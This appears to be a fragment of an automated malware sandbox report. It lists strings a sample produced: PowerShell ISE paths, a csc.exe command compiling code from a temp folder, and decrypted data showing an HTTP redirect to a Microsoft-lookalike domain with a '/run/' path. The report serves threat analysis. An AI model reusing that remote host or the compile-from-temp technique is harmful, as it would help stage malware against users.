powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: YZLRSJE303MEY16WCWDC.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00006528-00000C2E-2928767988] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\xusq4ngo\xusq" [Source: 00000000-00006528-00000C47-33770977706]41:T2022,"powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 301 Moved PermanentlyDate: Thu, 23 Apr 2026 08:57:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: cloudflareLocation: https://events.msft23.com/run/dIG1bXo3Nel: {\"report_to\":\"cf-nel\",\"success_fraction"}, "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "29a301 Moved Permanently

301 Moved Permanently

nginx